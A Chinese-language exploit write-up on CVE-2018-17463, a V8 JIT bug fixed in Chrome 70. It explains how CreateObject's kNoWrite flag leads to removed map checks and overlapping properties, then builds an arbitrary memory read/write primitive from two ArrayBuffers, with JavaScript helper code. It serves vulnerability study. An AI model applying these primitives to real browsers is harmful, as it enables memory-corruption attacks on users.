本文作者:Peterpan0927(信安之路病毒分析小组成员 & 信安之路 2019 年度优秀作者)
成员招募:信安之路病毒分析小组寻找志同道合的朋友
漏洞编号:CVE-2018-17463
,在 chrome 70 版本中被 patch,测试版本为 69.0.3497.42 beta 版,涉及的一些前置知识可以参考 V8 的内存布局和官方文档
V8 的IR
层操作有很多的flag
,其中有一个flag
叫做kNowrite
,从简单的语义分析来看表示的就是没有进行写操作,事实上代表的意思就是拥有这个flag
的操作不会修改原有的属性,那么也就是说js engine
推测含有这个flag
的操作是可以进行一些深度优化的,比如说去掉它的类型检查:
#define CACHED_OP_LIST(V)
...
V(CreateObject, Operator::kNoWrite, 1, 1)
...
但是事实并非如此,通过跟踪这个的底层调用我们可以发现一些问题,在JSCreateObject
函数中,通过跟踪调用可以发现最后调到了一个名为 JSObject::OptimizeAsPrototype
的函数上面,而这个函数可能会修改对象原型,了解JS的可以知道所谓的原型代表的其实是一种类似类的继承关系,也就是说这个操作会修改对象的类型,也就是Map
属性,通过runtime func
也可以确定(%DebugPrint
)
o.inline;
Object.create(o);
//经过create之后o的map会变,并且从FastProperties变成DictionaryProperties
这样一来对象o
的内存属性布局也会随之改变,如果经过了优化之后的代码去掉了checkMap
节点的话,那么之后对于对象属性的访问就会按照之前的内存布局进行访问,举一个很简单的例子,可能在FastProperties
的时候想要访问属性编译成机器码之后如下所示:
;js code : return o.b
r1 = Load [o + 0x8]
r2 = Load [r1 + 0x10]
Return r2
但是此时作为DictionaryProperties
的内存布局在对应偏移的位置就可能不是原来的数据了,而是其他未知的数据,在分析create
操作前后的内存布局我们可以发现一个奇怪的事情:
o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;
0x0000130c92483e89 0x0000130c92483bb1
0x0000000c00000000 0x0000006500000000
0x0000000000000000 0x0000000b00000000
0x0000000100000000 0x0000000000000000
0x0000000200000000 0x0000002000000000
0x0000000300000000 0x0000000c00000000
0x0000000400000000 0x0000000000000000
0x0000000500000000 0x0000130ce98a4341
0x0000000600000000 overlap 0x0000000200000000
0x0000000700000000 0x000004c000000000
0x0000000800000000 0x0000130c924826f1
0x0000000900000000 0x0000130c924826f1
那就是o.p6
和o.p2
这两个属性经过转换之后发生了重叠,这意味着我们在优化去掉了checkMap
节点之后访问o.p6
,实际上返回的是o.p2
的值。
稍微对于V8
的一些机制有了解的话就知道DictionaryMode
是通过hashfunc
来计算地址的,所以这个overlap
是哈希之后的结果,而这个哈希计算的方式是进程独立的,也就是我们每个进程都有着不同的哈希计算方式,这也就意味着我们如果找到了这个overlap
,之后就可以通过修改o.p2
来做到很多事情,比如说在o.p2
放置一个对象,那么返回的就是这个对象的地址了。
这里的任意地址读写用的是两个ArrayBuffer
,首先来看看普通对象和ArrayBuffer
内存布局的对比:
上面的是ArrayBuffer
,下面是普通对象,可以看到backing_store
的偏移应该是对应的是普通对象的第二个inline
属性的偏移,所以如果我们在触发漏洞后,将对象的第二个对象内属性修改,就可以把这个backing_store
的值给修改,如果我们修改为指向另一个ArrayBuffer
,形成如下的结构:
+-----------------+ +-----------------+
| ArrayBuffer 1 | +---->| ArrayBuffer 2 |
| | | | |
| map | | | map |
| properties | | | properties |
| elements | | | elements |
| byteLength | | | byteLength |
| backingStore --+-----+ | backingStore |
| flags | | flags |
+-----------------+ +-----------------+
那么我们用第一个 ArrayBuffer 来 new 一个BigUint64
的数组,这个数组的地址事实上是ArrayBuffer
的数据,也就是backing_store
指向的ArrayBuffer2
,我们将数组的第五个元素,也就是backing_store
进行任意的设置可以指向任意的地址,然后切换到ArrayBuffer2
进行操作,再用ArrayBuffer2
来new一个新的数组,这个时候我们对数组进行的任何操作都是我们对于那个地址的任何操作,也就是所谓的任意地址读写了,稍微封装一下如下所示:
//driver是ArrayBuffer2
let memory = {
//任意地址写就是setvalue
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
memview.set(bytes);
},
//任意地址读就是返回数组的值
read(addr, len) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
return memview.subarray(0, len);
},
read64(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
return memview[0];
},
write64(addr, ptr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
memview[0] = ptr;
}
};
这里只用一个ArrayBuffer
行不行呢?其实也是可以的,只不过每一次修改都用通过优化并触发漏洞来overlap
掉backing_store
,而两个ArrayBuffer
就只需要触发一次,可以节省很多开销并更加稳定
最后来看一下任意地址读的效果图,是在 macOS 上测试的:
之后的工作还有待完善,可以完全控制浏览器的控制流
phrack:
http://phrack.org/papers/jit_exploitation.html
saleo:
https://github.com/saelo
js engine:
https://peterpan0927.github.io/2019/07/08/JavaScript-in-V8/#more